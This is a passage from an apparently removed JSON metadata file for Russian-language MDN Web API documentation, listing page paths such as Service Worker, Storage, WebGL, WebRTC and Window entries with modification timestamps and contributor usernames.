[ - "mechtool" - ] - }, - "Web/API/Selection": { - "modified": "2019-03-23T22:46:25.520Z", - "contributors": [ - "brussens", - "spicyj" - ] - }, - "Web/API/Selection/getRangeAt": { - "modified": "2019-03-23T22:46:20.711Z", - "contributors": [ - "AlexChuev" - ] - }, - "Web/API/Selection/toString": { - "modified": "2020-10-15T22:14:20.743Z", - "contributors": [ - "snowydad" - ] - }, - "Web/API/Server-sent_events": { - "modified": "2020-11-18T10:18:54.158Z", - "contributors": [ - "soika.andrey", - "curdwithraisins" - ] - }, - "Web/API/Server-sent_events/Using_server-sent_events": { - "modified": "2020-10-15T22:21:14.541Z", - "contributors": [ - "bakugod", - "curdwithraisins" - ] - }, - "Web/API/ServiceWorker": { - "modified": "2020-10-15T22:25:57.639Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ServiceWorker/onstatechange": { - "modified": "2020-10-15T22:25:53.618Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ServiceWorker/scriptURL": { - "modified": "2020-10-15T22:25:53.547Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ServiceWorker/state": { - "modified": "2020-10-15T22:25:53.597Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ServiceWorkerContainer": { - "modified": "2020-04-09T10:43:47.005Z", - "contributors": [ - "AleksandrDorofeev", - "chrisdavidmills" - ] - }, - "Web/API/ServiceWorkerContainer/controller": { - "modified": "2020-10-15T22:25:53.553Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/ServiceWorkerContainer/register": { - "modified": "2020-10-02T00:59:34.870Z", - "contributors": [ - "juriburakov", - "drfisher", - "amutylo" - ] - }, - "Web/API/ServiceWorkerRegistration": { - "modified": "2020-10-15T22:03:13.120Z", - "contributors": [ - "sh7dm", - "ExE-Boss" - ] - }, - "Web/API/ServiceWorkerRegistration/pushManager": { - "modified": "2020-10-15T22:16:41.017Z", - "contributors": [ - "RomanKontsevoy" - ] - }, - "Web/API/ServiceWorkerRegistration/showNotification": { - "modified": "2020-10-15T22:03:09.083Z", - "contributors": [ - "aadeniskin", - "MikitaDu" - ] - }, - "Web/API/ServiceWorkerRegistration/update": { - "modified": "2020-10-15T22:12:53.829Z", - "contributors": [ - "fdor" - ] - }, - "Web/API/ServiceWorkerState": { - "modified": "2019-12-29T10:30:40.493Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Service_Worker_API": { - "modified": "2019-12-30T15:14:52.084Z", - "contributors": [ - "ankormoreankor", - "sh7dm", - "sscherbin", - "olvin-hh", - "MytnikAA", - "ris58h", - "Nazichok", - "WispProxy", - "yulllll", - "gudkovdanila", - "brolnickij", - "de1mos242", - "zhrivodkin", - "patriciussanctus", - "SergeyYukhnevich", - "Straig", - "dphov", - "curdwithraisins", - "franzy1709", - "chrisdavidmills" - ] - }, - "Web/API/Service_Worker_API/Using_Service_Workers": { - "modified": "2020-10-23T06:37:12.327Z", - "contributors": [ - "amshinski", - "mcmimik", - "3lvcz", - "Akh-rman", - "sscherbin", - "GoliafRS", - "thepocp", - "Webbrother", - "m-rybak", - "WispProxy", - "ymetalnikov", - "skvigl", - "zasipin", - "iSokrat", - "Victor_Homyakov", - "SowingSadness", - "vladislav251990", - "sgrogov", - "stepanmas", - "rajdee", - "gorlitsyn", - "goncharov", - "utking", - "termosa", - "franzy1709" - ] - }, - "Web/API/SharedWorker": { - "modified": "2019-03-23T22:22:59.583Z", - "contributors": [ - "apostololeg", - "Mihail-Afanasiev", - "IgorBaranov" - ] - }, - "Web/API/Slotable": { - "modified": "2020-10-15T22:17:53.998Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/SpeechGrammar": { - "modified": "2020-10-15T22:00:10.043Z", - "contributors": [ - "ekirpichyov", - "Liubava77" - ] - }, - "Web/API/SpeechRecognition": { - "modified": "2019-03-23T22:13:12.165Z", - "contributors": [ - "effus", - "Sparks" - ] - }, - "Web/API/SpeechSynthesisUtterance": { - "modified": "2020-10-15T22:06:00.535Z", - "contributors": [ - "kan.a" - ] - }, - "Web/API/Storage": { - "modified": "2020-09-11T05:29:01.870Z", - "contributors": [ - "torbasow", - "romandubrov", - "jwhitlock", - "chulanovskyi", - "DavidWebb", - "teoli", - "jora244", - "ThijsK" - ] - }, - "Web/API/Storage/LocalStorage": { - "modified": "2019-03-23T22:05:00.067Z", - "contributors": [ - "ZVanoZ" - ] - }, - "Web/API/Storage/clear": { - "modified": "2019-03-23T22:42:45.479Z", - "contributors": [ - "EvgenyI" - ] - }, - "Web/API/Storage/getItem": { - "modified": "2019-09-01T19:51:21.395Z", - "contributors": [ - "NiroWoolf", - "EvgenyI" - ] - }, - "Web/API/Storage/key": { - "modified": "2019-03-23T22:39:36.953Z", - "contributors": [ - "Floyer" - ] - }, - "Web/API/Storage/length": { - "modified": "2019-03-23T22:57:32.344Z", - "contributors": [ - "teoli", - "jora244", - "EvgenyI", - "Frenk1" - ] - }, - "Web/API/Storage/removeItem": { - "modified": "2020-10-15T21:42:31.983Z", - "contributors": [ - "fscholz", - "twenshin", - "empirogov", - "Floyer" - ] - }, - "Web/API/Storage/setItem": { - "modified": "2019-03-23T22:57:32.878Z", - "contributors": [ - "Orlovis69", - "EvgenyI", - "Frenk1" - ] - }, - "Web/API/StorageManager": { - "modified": "2020-10-15T21:56:53.171Z", - "contributors": [ - "atymchuk", - "chrisdavidmills" - ] - }, - "Web/API/StorageManager/estimate": { - "modified": "2020-10-15T21:56:53.185Z", - "contributors": [ - "Roman-Kosov", - "megabajtruie" - ] - }, - "Web/API/Storage_Access_API": { - "modified": "2020-10-15T22:32:41.630Z", - "contributors": [ - "Pandorin" - ] - }, - "Web/API/Streams_API": { - "modified": "2020-10-15T22:14:30.550Z", - "contributors": [ - "Vitalii", - "MrShtein", - "SerzN1" - ] - }, - "Web/API/StyleSheet": { - "modified": "2020-11-27T03:25:29.870Z", - "contributors": [ - "vdav-dev", - "izhurav" - ] - }, - "Web/API/StyleSheet/disabled": { - "modified": "2020-10-15T22:18:44.560Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/SubtleCrypto": { - "modified": "2019-03-23T22:28:09.707Z", - "contributors": [ - "nurtrom" - ] - }, - "Web/API/Text": { - "modified": "2020-10-15T22:08:27.688Z", - "contributors": [ - "ivanson" - ] - }, - "Web/API/Touch": { - "modified": "2020-10-15T22:23:10.902Z", - "contributors": [ - "hisbvdis", - "m019m1" - ] - }, - "Web/API/TouchEvent": { - "modified": "2020-10-15T21:56:27.849Z", - "contributors": [ - "hisbvdis", - "YozhEzhi", - "cmath10", - "kopchikovich", - "jackblackevo" - ] - }, - "Web/API/TouchEvent/altKey": { - "modified": "2020-10-15T22:22:27.243Z", - "contributors": [ - "cmath10" - ] - }, - "Web/API/TouchEvent/changedTouches": { - "modified": "2019-08-28T08:29:41.240Z", - "contributors": [ - "cmath10", - "Masterov-web", - "dedotmoroz" - ] - }, - "Web/API/TouchEvent/touches": { - "modified": "2020-10-15T22:33:58.366Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/API/TouchList": { - "modified": "2020-10-15T22:29:16.943Z", - "contributors": [ - "hisbvdis", - "opereverzeva" - ] - }, - "Web/API/Touch_events": { - "modified": "2020-10-15T21:44:29.969Z", - "contributors": [ - "hisbvdis", - "YozhEzhi", - "valeryvitkus", - "AlexChebanenko", - "Yerokhov", - "nboldar", - "vovchik-manko", - "surrsoft" - ] - }, - "Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent": { - "modified": "2020-08-27T17:02:59.997Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/API/Touch_events/Using_Touch_Events": { - "modified": "2020-09-03T17:23:38.278Z", - "contributors": [ - "hisbvdis", - "sivashev", - "idushii" - ] - }, - "Web/API/URL": { - "modified": "2020-10-18T22:13:20.099Z", - "contributors": [ - "vvfargo", - "YozhEzhi", - "Gheoan" - ] - }, - "Web/API/URL/URL": { - "modified": "2019-03-23T22:36:10.894Z", - "contributors": [ - "vittorio-tortugo" - ] - }, - "Web/API/URL/createObjectURL": { - "modified": "2020-10-15T21:47:36.192Z", - "contributors": [ - "YozhEzhi", - "bagau", - "chevsky", - "ga2mer", - "Vasia-Gav" - ] - }, - "Web/API/URLSearchParams": { - "modified": "2020-10-15T21:53:41.603Z", - "contributors": [ - "YozhEzhi", - "kav137", - "Daikity" - ] - }, - "Web/API/URLSearchParams/delete": { - "modified": "2020-10-15T22:23:10.553Z", - "contributors": [ - "VikingBO" - ] - }, - "Web/API/USB": { - "modified": "2020-10-15T22:31:11.778Z", - "contributors": [ - "Kami-san" - ] - }, - "Web/API/USB/getDevices": { - "modified": "2020-10-15T22:31:15.293Z", - "contributors": [ - "Kami-san" - ] - }, - "Web/API/USB/onconnect": { - "modified": "2020-10-15T22:31:15.839Z", - "contributors": [ - "Kami-san" - ] - }, - "Web/API/USB/ondisconnect": { - "modified": "2020-10-15T22:31:11.552Z", - "contributors": [ - "Kami-san" - ] - }, - "Web/API/USB/requestDevice": { - "modified": "2020-10-15T22:31:48.159Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/USVString": { - "modified": "2020-10-02T07:35:43.794Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/VRDisplay": { - "modified": "2020-10-15T22:16:06.226Z", - "contributors": [ - "fscholz" - ] - }, - "Web/API/VRDisplay/requestAnimationFrame": { - "modified": "2020-10-15T22:16:56.377Z", - "contributors": [ - "D-Koganov" - ] - }, - "Web/API/VRDisplay/requestPresent": { - "modified": "2020-10-15T22:16:04.156Z", - "contributors": [ - "D-Koganov" - ] - }, - "Web/API/VRDisplayCapabilities": { - "modified": "2020-10-15T22:28:19.769Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRDisplayCapabilities/hasPosition": { - "modified": "2020-10-15T22:28:59.058Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRDisplayEvent": { - "modified": "2020-10-15T22:27:55.457Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRDisplayEvent/display": { - "modified": "2020-10-15T22:28:20.824Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRFrameData": { - "modified": "2020-10-15T22:28:23.366Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRPose": { - "modified": "2020-10-15T22:28:10.240Z", - "contributors": [ - "javierdesojomartinez" - ] - }, - "Web/API/VRPose/position": { - "modified": "2020-10-15T22:28:10.120Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRStageParameters": { - "modified": "2020-10-15T22:28:00.058Z" - }, - "Web/API/VRStageParameters/sittingToStandingTransform": { - "modified": "2020-10-15T22:28:04.040Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRStageParameters/sizeX": { - "modified": "2020-10-15T22:28:03.196Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/VRStageParameters/sizeY": { - "modified": "2020-10-15T22:27:59.849Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/WEBGL_compressed_texture_pvrtc": { - "modified": "2020-10-15T22:01:33.880Z", - "contributors": [ - "non-descriptive" - ] - }, - "Web/API/WebGLProgram": { - "modified": "2020-10-15T21:50:47.604Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/API/WebGLRenderingContext": { - "modified": "2019-03-23T22:25:35.767Z", - "contributors": [ - "VladimyrRomanishyn" - ] - }, - "Web/API/WebGLRenderingContext/activeTexture": { - "modified": "2020-10-15T22:21:44.455Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGLRenderingContext/bindBuffer": { - "modified": "2020-10-15T21:55:36.380Z", - "contributors": [ - "eruditor", - "gNikro" - ] - }, - "Web/API/WebGLRenderingContext/bindTexture": { - "modified": "2020-10-15T22:21:44.690Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGLRenderingContext/canvas": { - "modified": "2020-10-15T22:00:42.808Z", - "contributors": [ - "neromont" - ] - }, - "Web/API/WebGLRenderingContext/clear": { - "modified": "2020-10-15T21:59:25.402Z", - "contributors": [ - "enjoyenj" - ] - }, - "Web/API/WebGLRenderingContext/clearColor": { - "modified": "2020-10-15T21:54:40.004Z", - "contributors": [ - "amiluik" - ] - }, - "Web/API/WebGLRenderingContext/compileShader": { - "modified": "2020-10-15T22:21:49.706Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGLRenderingContext/enable": { - "modified": "2020-10-15T21:54:39.548Z", - "contributors": [ - "amiluik" - ] - }, - "Web/API/WebGLRenderingContext/getShaderInfoLog": { - "modified": "2020-10-15T22:21:50.426Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGLRenderingContext/shaderSource": { - "modified": "2020-10-15T22:21:48.445Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGLRenderingContext/uniform": { - "modified": "2020-10-15T22:21:44.678Z", - "contributors": [ - "FMakareev" - ] - }, - "Web/API/WebGL_API": { - "modified": "2020-10-15T21:20:31.569Z", - "contributors": [ - "fscholz", - "vaiil", - "WalkInWay", - "sputnik1986", - "teoli", - "hazestalker" - ] - }, - "Web/API/WebGL_API/Tutorial": { - "modified": "2019-03-23T22:48:52.745Z", - "contributors": [ - "Watt47", - "fenfil", - "fscholz" - ] - }, - "Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context": { - "modified": "2019-03-23T23:06:21.005Z", - "contributors": [ - "Watt47", - "fscholz", - "sputnik1986", - "teoli" - ] - }, - "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL": { - "modified": "2019-03-23T23:02:44.530Z", - "contributors": [ - "chrootsu", - "ulmer-morozov", - "bursty", - "fscholz", - "smeagol74" - ] - }, - "Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL": { - "modified": "2019-03-23T23:06:17.705Z", - "contributors": [ - "binarydata", - "lightest", - "fscholz", - "sputnik1986" - ] - }, - "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL": { - "modified": "2019-09-09T06:21:50.295Z", - "contributors": [ - "Oppositus" - ] - }, - "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL": { - "modified": "2019-03-23T23:25:39.265Z", - "contributors": [ - "fscholz", - "sputnik1986", - "teoli", - "Roman_Kuznetsov" - ] - }, - "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL": { - "modified": "2019-09-09T04:07:05.078Z", - "contributors": [ - "Oppositus", - "VLDSLW", - "karmich", - "KTatyana", - "mrBizik", - "Kran440" - ] - }, - "Web/API/WebGL_API/Tutorial/Создание_3D_объектов_с_помощью_WebGL": { - "modified": "2019-03-23T22:29:53.189Z", - "contributors": [ - "BakayAnton", - "e-rikov", - "Vlcmdc" - ] - }, - "Web/API/WebGL_API/WebGL_best_practices": { - "modified": "2019-03-23T22:20:32.460Z", - "contributors": [ - "CGAdept" - ] - }, - "Web/API/WebRTC_API": { - "modified": "2020-08-25T02:01:56.485Z", - "contributors": [ - "chimit", - "severn101", - "mechtool", - "alexandrtovmach", - "yambergaa", - "BychekRU", - "franzy1709" - ] - }, - "Web/API/WebRTC_API/Session_lifetime": { - "modified": "2020-05-06T10:20:25.363Z", - "contributors": [ - "tonyrewin", - "coderxone", - "franzy1709" - ] - }, - "Web/API/WebRTC_API/Signaling_and_video_calling": { - "modified": "2020-11-26T18:12:23.900Z", - "contributors": [ - "nikolaifedorov", - "Ingulfr", - "mechtool", - "Geloosa" - ] - }, - "Web/API/WebRTC_API/Simple_RTCDataChannel_sample": { - "modified": "2020-02-18T05:04:43.227Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/WebRTC_API/Taking_still_photos": { - "modified": "2020-02-17T09:19:46.393Z", - "contributors": [ - "mechtool", - "lolyanepizdi", - "tifund" - ] - }, - "Web/API/WebRTC_API/Using_data_channels": { - "modified": "2020-02-18T04:33:19.219Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/WebRTC_API/WebRTC_basics": { - "modified": "2020-11-01T04:44:10.388Z", - "contributors": [ - "mechtool", - "kostya-skr", - "coderxone" - ] - }, - "Web/API/WebRTC_API/adapter.js": { - "modified": "2020-02-18T04:29:30.086Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/WebRTC_API/протоколы": { - "modified": "2019-03-23T22:17:21.029Z", - "contributors": [ - "aleole" - ] - }, - "Web/API/WebRTC_API/связь": { - "modified": "2019-03-23T22:17:18.730Z", - "contributors": [ - "aleole" - ] - }, - "Web/API/WebSocket": { - "modified": "2020-10-15T21:37:20.947Z", - "contributors": [ - "art-gur", - "sluchaynayakotya", - "AlexandritT", - "Neiromaster", - "zaqqq13", - "antenko", - "izdesenko" - ] - }, - "Web/API/WebVR_API": { - "modified": "2019-03-18T21:43:25.614Z", - "contributors": [ - "Lyumih" - ] - }, - "Web/API/WebVR_API/Using_the_WebVR_API": { - "modified": "2019-04-01T15:08:37.420Z", - "contributors": [ - "D-Koganov" - ] - }, - "Web/API/WebVTT_API": { - "modified": "2020-10-15T22:17:18.012Z", - "contributors": [ - "sh7dm", - "SedovDP" - ] - }, - "Web/API/WebXR_Device_API": { - "modified": "2020-10-15T22:31:41.396Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Web_Animations_API": { - "modified": "2019-06-18T07:52:11.648Z", - "contributors": [ - "SphinxKnight", - "yaplusplus", - "s-n-ushakov", - "dimakozakov" - ] - }, - "Web/API/Web_Animations_API/Using_the_Web_Animations_API": { - "modified": "2020-11-11T13:23:02.417Z", - "contributors": [ - "Bobrovskih", - "pavelmarozka" - ] - }, - "Web/API/Web_Audio_API": { - "modified": "2020-06-07T04:42:52.149Z", - "contributors": [ - "iameugene", - "Ajmdag", - "drrainlab", - "bierck", - "digitalapplebee", - "kalmukvitaly", - "fffuture", - "cjbars", - "smallDevPoul", - "mattlima" - ] - }, - "Web/API/Web_Audio_API/Using_Web_Audio_API": { - "modified": "2019-03-23T22:44:58.989Z", - "contributors": [ - "dimaspirit" - ] - }, - "Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API": { - "modified": "2020-10-15T08:26:15.790Z", - "contributors": [ - "pm3512", - "MarishKo", - "swa1ps", - "PaulineNemchak" - ] - }, - "Web/API/Web_Authentication_API": { - "modified": "2020-10-15T22:31:49.298Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Web_Crypto_API": { - "modified": "2020-10-15T21:57:19.936Z", - "contributors": [ - "qkudev", - "boxa6", - "Zlaty", - "thesiv95" - ] - }, - "Web/API/Web_Crypto_API/Checking_authenticity_with_password": { - "modified": "2019-04-10T04:25:54.752Z", - "contributors": [ - "qkudev" - ] - }, - "Web/API/Web_Speech_API": { - "modified": "2020-10-29T14:47:13.871Z", - "contributors": [ - "mangl-auf", - "kant2002", - "WispProxy", - "effus", - "lazyexpert" - ] - }, - "Web/API/Web_Speech_API/Using_the_Web_Speech_API": { - "modified": "2020-01-17T06:55:44.154Z", - "contributors": [ - "kirmak", - "Oleg_Miniuk" - ] - }, - "Web/API/Web_Storage_API": { - "modified": "2019-03-23T23:00:08.195Z", - "contributors": [ - "GraceAredel", - "max41479", - "k4o4", - "BychekRU", - "lerniri", - "ViT09" - ] - }, - "Web/API/Web_Storage_API/Using_the_Web_Storage_API": { - "modified": "2020-11-13T15:47:57.543Z", - "contributors": [ - "mdndev7", - "FumbaCloud", - "oloriin", - "oxmap", - "vlad-meskalin", - "AlexBBB" - ] - }, - "Web/API/Web_Workers_API": { - "modified": "2020-04-30T17:26:24.746Z", - "contributors": [ - "m-mityureva", - "iamvector", - "aadm2014", - "ivaskonyan", - "utking", - "Sebastianz" - ] - }, - "Web/API/Web_Workers_API/Functions_and_classes_available_to_workers": { - "modified": "2019-03-23T22:20:55.862Z", - "contributors": [ - "bionicle12" - ] - }, - "Web/API/Web_Workers_API/Structured_clone_algorithm": { - "modified": "2020-01-28T16:41:32.926Z", - "contributors": [ - "voidstone", - "fxmaxvl", - "m.onyshchuk", - "vittorio-tortugo" - ] - }, - "Web/API/Window": { - "modified": "2019-03-23T23:09:39.081Z", - "contributors": [ - "verbaux", - "PROPHESSOR", - "mr-aleksey", - "dameerv", - "curdwithraisins", - "MikitaDu", - "redishko", - "surrsoft", - "fscholz", - "Roman_Pizhlakov" - ] - }, - "Web/API/Window/alert": { - "modified": "2020-10-15T21:48:09.472Z", - "contributors": [ - "YozhEzhi", - "utking", - "MrOnlineCoder" - ] - }, - "Web/API/Window/beforeunload_event": { - "modified": "2020-10-15T22:33:54.942Z", - "contributors": [ - "b0rique" - ] - }, - "Web/API/Window/blur": { - "modified": "2019-03-23T22:26:49.650Z", - "contributors": [ - "horpia" - ] - }, - "Web/API/Window/cancelAnimationFrame": { - "modified": "2020-10-15T22:22:40.555Z", - "contributors": [ - "xcopy", - "ekirpichyov" - ] - }, - "Web/API/Window/clearImmediate": { - "modified": "2020-10-15T22:16:38.059Z", - "contributors": [ - "YozhEzhi" - ] - }, - "Web/API/Window/close": { - "modified": "2020-10-15T21:55:09.199Z", - "contributors": [ - "SphinxKnight", - "KuzkovArt" - ] - }, - "Web/API/Window/closed": { - "modified": "2019-03-18T20:59:11.923Z", - "contributors": [ - "SphinxKnight", - "AlexandritT" - ] - }, - "Web/API/Window/confirm": { - "modified": "2020-10-15T21:52:49.743Z", - "contributors": [ - "YozhEzhi", - "arogachev", - "ahtohbi4" - ] - }, - "Web/API/Window/console": { - "modified": "2019-03-18T21:20:36.516Z", - "contributors": [ - "AndreiSoroka" - ] - }, - "Web/API/Window/crypto": { - "modified": "2019-03-23T22:55:57.909Z", - "contributors": [ - "pinal" - ] - }, - "Web/API/Window/devicePixelRatio": { - "modified": "2020-10-15T21:52:27.387Z", - "contributors": [ - "zhvirblis", - "Khrapin", - "pashutk" - ] - }, - "Web/API/Window/deviceorientation_event": { - "modified": "2019-04-11T18:37:23.002Z", - "contributors": [ - "estelle", - "Influsion", - "fscholz", - "timur-gilauri" - ] - }, - "Web/API/Window/document": { - "modified": "2019-08-12T05:28:32.698Z", - "contributors": [ - "CODER591", - "WaveMeUp" - ] - }, - "Web/API/Window/frameElement": { - "modified": "2019-03-23T22:39:42.618Z", - "contributors": [ - "nakhodkiin", - "velgreen" - ] - }, - "Web/API/Window/frames": { - "modified": "2020-10-15T22:12:07.814Z", - "contributors": [ - "ShantyHoz" - ] - }, - "Web/API/Window/gamepadconnected_event": { - "modified": "2019-03-23T21:59:48.751Z", - "contributors": [ - "irenesmith", - "eof273" - ] - }, - "Web/API/Window/gamepaddisconnected_event": { - "modified": "2019-03-23T21:59:48.268Z", - "contributors": [ - "irenesmith", - "eof273" - ] - }, - "Web/API/Window/getComputedStyle": { - "modified": "2020-05-17T12:55:36.404Z", - "contributors": [ - "Mialik-Kirill-Sergeevich", - "LiubavaL", - "xobotyi", - "jt3k" - ] - }, - "Web/API/Window/getSelection": { - "modified": "2020-03-05T05:54:57.879Z", - "contributors": [ - "Nitvex", - "DimaShcherbakov", - "ciricc" - ] - }, - "Web/API/Window/hashchange_event": { - "modified": "2019-04-01T11:57:44.565Z", - "contributors": [ - "fscholz", - "alexismaster" - ] - }, - "Web/API/Window/history": { - "modified": "2019-03-23T22:05:56.883Z", - "contributors": [ - "avdoshenkov", - "sumthief" - ] - }, - "Web/API/Window/innerHeight": { - "modified": "2020-10-15T22:21:02.031Z", - "contributors": [ - "Dzvonek" - ] - }, - "Web/API/Window/length": { - "modified": "2019-03-23T22:25:12.512Z", - "contributors": [ - "ManInBlackHat" - ] - }, - "Web/API/Window/localStorage": { - "modified": "2020-10-15T21:40:44.226Z", - "contributors": [ - "art-gur", - "YozhEzhi", - "webmcheck", - "Halkyon", - "teoli", - "jora244", - "EvgenyI" - ] - }, - "Web/API/Window/location": { - "modified": "2020-10-15T21:36:06.561Z", - "contributors": [ - "art-gur", - "Sajag", - "surrsoft" - ] - }, - "Web/API/Window/matchMedia": { - "modified": "2020-10-15T21:37:32.455Z", - "contributors": [ - "bershanskiy", - "hraboviyvadim", - "ds-lightowl", - "akmil", - "MaxSvargal" - ] - }, - "Web/API/Window/moveBy": { - "modified": "2020-10-15T22:22:50.659Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Window/moveTo": { - "modified": "2020-10-15T22:22:50.511Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Window/mozAnimationStartTime": { - "modified": "2020-10-15T22:21:33.446Z", - "contributors": [ - "lastshipsails" - ] - }, - "Web/API/Window/name": { - "modified": "2019-03-23T22:51:25.153Z", - "contributors": [ - "pashutk" - ] - }, - "Web/API/Window/navigator": { - "modified": "2020-10-15T22:12:17.873Z", - "contributors": [ - "Mitrr", - "ShantyHoz" - ] - }, - "Web/API/Window/ondeviceorientation": { - "modified": "2019-03-23T22:29:46.961Z", - "contributors": [ - "timur-gilauri" - ] - }, - "Web/API/Window/ongamepadconnected": { - "modified": "2020-11-17T12:43:15.635Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Window/ongamepaddisconnected": { - "modified": "2020-11-17T12:45:18.585Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Window/onpaint": { - "modified": "2019-03-23T22:08:47.903Z", - "contributors": [ - "peshkov3" - ] - }, - "Web/API/Window/pageYOffset": { - "modified": "2020-10-15T22:28:25.886Z", - "contributors": [ - "anima-dev" - ] - }, - "Web/API/Window/parent": { - "modified": "2019-03-23T22:52:14.067Z", - "contributors": [ - "skip405", - "olehrgf" - ] - }, - "Web/API/Window/performance": { - "modified": "2019-03-18T21:36:16.802Z", - "contributors": [ - "Demjan" - ] - }, - "Web/API/Window/popstate_event": { - "modified": "2019-04-26T08:34:41.629Z", - "contributors": [ - "chrisdavidmills", - "irenesmith", - "tikijian", - "fscholz", - "buhter", - "FlowerDeLuce" - ] - }, - "Web/API/Window/postMessage": { - "modified": "2020-03-20T04:22:12.543Z", - "contributors": [ - "olga_ant", - "Gusland", - "vilka-vk", - "Dannaz", - "kernerrus", - "sivashev", - "HerrMazik" - ] - }, - "Web/API/Window/print": { - "modified": "2019-03-23T22:07:56.439Z", - "contributors": [ - "WaveMeUp" - ] - }, - "Web/API/Window/prompt": { - "modified": "2019-07-28T05:15:15.828Z", - "contributors": [ - "alienvspredator", - "WispProxy", - "MaximAlexandrovich", - "YozhEzhi", - "yat-san", - "Aruseli" - ] - }, - "Web/API/Window/requestIdleCallback": { - "modified": "2020-05-21T02:39:12.402Z", - "contributors": [ - "piranha", - "toptalo", - "SerzN1", - "Bargamut" - ] - }, - "Web/API/Window/resize_event": { - "modified": "2020-04-17T03:11:02.137Z", - "contributors": [ - "ellizii", - "Rainbow_Spike", - "chrisdavidmills", - "irenesmith", - "fscholz", - "ValeriaAleksandrovna" - ] - }, - "Web/API/Window/screen": { - "modified": "2020-10-15T22:29:21.333Z", - "contributors": [ - "michaelTate" - ] - }, - "Web/API/Window/screenX": { - "modified": "2020-10-15T22:13:55.909Z", - "contributors": [ - "fuggy", - "zzhmeenuya" - ] - }, - "Web/API/Window/scroll": { - "modified": "2019-03-23T22:50:41.795Z", - "contributors": [ - "bakatrouble" - ] - }, - "Web/API/Window/scrollBy": { - "modified": "2019-03-23T22:37:56.985Z", - "contributors": [ - "TicTacVengria", - "nikstorm" - ] - }, - "Web/API/Window/scrollByLines": { - "modified": "2019-03-23T22:04:58.444Z", - "contributors": [ - "PaulineNemchak" - ] - }, - "Web/API/Window/scrollMaxX": { - "modified": "2020-10-15T22:22:38.807Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Window/scrollMaxY": { - "modified": "2020-10-15T21:35:52.362Z", - "contributors": [ - "ekirpichyov", - "Rainbow_Spike" - ] - }, - "Web/API/Window/scrollTo": { - "modified": "2019-07-24T04:52:36.805Z", - "contributors": [ - "SuperSurok", - "ghost28147", - "beam018", - "polyskalov" - ] - }, - "Web/API/Window/scrollX": { - "modified": "2019-03-18T21:42:54.763Z", - "contributors": [ - "AlexandritT" - ] - }, - "Web/API/Window/scrollY": { - "modified": "2020-10-15T21:57:54.860Z", - "contributors": [ - "YozhEzhi", - "AlexandritT", - "PaulineNemchak" - ] - }, - "Web/API/Window/self": { - "modified": "2020-10-15T21:54:36.422Z", - "contributors": [ - "smlkA", - "sumthief" - ] - }, - "Web/API/Window/sessionStorage": { - "modified": "2019-07-18T08:53:52.925Z", - "contributors": [ - "forestbird", - "RomanAkhma", - "teoli", - "jora244", - "EvgenyI", - "shimopus" - ] - }, - "Web/API/Window/stop": { - "modified": "2019-03-23T22:28:10.946Z", - "contributors": [ - "maximTorba" - ] - }, - "Web/API/Window/storage_event": { - "modified": "2019-06-10T12:00:20.892Z", - "contributors": [ - "chrisdavidmills", - "irenesmith", - "fscholz", - "dnafigator" - ] - }, - "Web/API/Window/top": { - "modified": "2019-03-23T22:05:04.391Z", - "contributors": [ - "ifedyshin" - ] - }, - "Web/API/WindowBase64": { - "modified": "2019-03-23T22:50:51.451Z", - "contributors": [ - "teoli" - ] - }, - "Web/API/WindowBase64/Base64_encoding_and_decoding": { - "modified": "2020-02-04T12:42:12.592Z", - "contributors": [ - "hifriend21", - "kormanowsky", - "k-chernyshov", - "9999472", - "KSH-audibene", - "kerosan" - ] - }, - "Web/API/WindowBase64/btoa": { - "modified": "2019-09-17T16:11:11.862Z", - "contributors": [ - "SerzN1", - "uleming" - ] - }, - "Web/API/WindowClient": { - "modified": "2020-10-15T22:34:56.308Z", - "contributors": [ - "beltimor" - ] - }, - "Web/API/WindowEventHandlers": { - "modified": "2019-03-23T22:58:25.582Z", - "contributors": [ - "teoli" - ] - }, - "Web/API/WindowEventHandlers/onafterprint": { - "modified": "2020-10-15T22:06:05.874Z", - "contributors": [ - "Khich" - ] - }, - 